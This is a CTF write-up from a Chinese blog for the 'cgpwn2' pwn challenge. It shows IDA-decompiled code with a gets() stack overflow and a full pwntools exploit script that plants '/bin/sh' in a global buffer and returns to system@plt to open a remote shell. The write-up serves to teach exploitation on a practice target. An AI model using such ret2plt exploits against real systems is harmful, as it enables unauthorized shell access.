当前位置:网站首页>PWN attack and defense world cgpwn2
PWN attack and defense world cgpwn2
2022-07-02 00:00:00 【Day-3】

First , View the relevant contents of the file .
Throw in IDA View code in .
main function
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
hello();
puts("thank you");
return 0;
}
hello function
char *hello()
{
__int16 *p_s; // eax
char v1; // bl
unsigned int v2; // ecx
__int16 *v3; // eax
__int16 s; // [esp+12h] [ebp-26h] BYREF
int v6; // [esp+14h] [ebp-24h] BYREF
p_s = &s;
v1 = 30;
if ( ((unsigned __int8)&s & 2) != 0 )
{
s = 0;
p_s = (__int16 *)&v6;
v1 = 28;
}
v2 = 0;
do
{
*(_DWORD *)&p_s[v2 / 2] = 0;
v2 += 4;
}
while ( v2 < (v1 & 0x1Cu) );
v3 = &p_s[v2 / 2];
if ( (v1 & 2) != 0 )
*v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets((char *)&s);
}
We can do it in name String left in “/bin/sh”, Then stack overflow , obtain shell.

To write exp:
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
bin_sh_addr = 0x0804A080
elf = ELF('cgpwn2')
system_addr = elf.plt["system"]
content = 0
def main():
global day3
if content == 1:
day3 = process("cgpwn2")
else:
day3 =remote("111.200.241.244",64520)
payload = b'a' * (0x26 + 4) + p32(system_addr) + b'aaaa'
payload = payload + p32(bin_sh_addr)
day3.recvuntil("please tell me your name\n")
day3.sendline("/bin/sh")
day3.recvuntil("hello,you can leave some message here:\n")
day3.sendline(payload)
day3.interactive()
main()
Finally get Flag.
边栏推荐
- [cmake] cmake configuration in QT Creator
- PyCharm调用matplotlib绘图时图像弹出问题怎么解决
- UDS bootloader of s32kxxx bootloader
- Kubernetes resource object introduction and common commands (III)
- The essence of software architecture
- Timer和ScheduledThreadPoolExecutor的区别
- Jielizhi Bluetooth headset quality control and production skills [chapter]
- 求逆序数的三个方法
- Relatively easy to understand PID understanding
- vs2015 AdminDeployment. xml
猜你喜欢

PyCharm调用matplotlib绘图时图像弹出问题怎么解决

How to solve the image pop-up problem when pycharm calls Matplotlib to draw

TS初次使用、ts类型

LDR6035智能蓝牙音响可对手机设备持续充放电方案

2021 robocom world robot developer competition - preliminary competition of higher vocational group

Redis master-slave synchronization
![[QT] solve the problem that QT MSVC 2017 cannot compile](/img/35/e458fd437a0bed4bace2d6d65c9ec8.png)
[QT] solve the problem that QT MSVC 2017 cannot compile

【QT】测试Qt是否能连接上数据库

Relatively easy to understand PID understanding
![[embedded system course design] a single key controls the LED light](/img/c9/076618208bbab0b95faa5a7e644a07.png)
[embedded system course design] a single key controls the LED light
随机推荐
Concepts of dictionary, hash table and array
Write some suggestions to current and future doctoral students to sort out and share
【QT】QtCreator卸载与安装(非正常状态)
Linux CentOS7安装Oracle11g的超完美新手教程
Similarities and differences between the defined identity execution function authid determiner and PostgreSQL in Oracle
Windows 7 install MySQL error: 1067
使用 pair 做 unordered_map 的键值
Jielizhi Bluetooth headset quality control and production skills [chapter]
【QT】测试Qt是否能连接上数据库
正则表达式收集
BlocProvider为什么感觉和Provider很相似?
使用VB.net将PNG图片转成icon类型图标文件
第六章 数据流建模
excel如何打开100万行以上的csv文件
Jielizhi, production line assembly link [chapter]
cookie、session、tooken
Openwrt enable kV roaming
- Oui. Env. Fichier XXX, avec constante, mais non spécifié
【QT】Qt 使用MSVC2017找不到编译器的解决办法
Jielizhi, production line assembly link [chapter]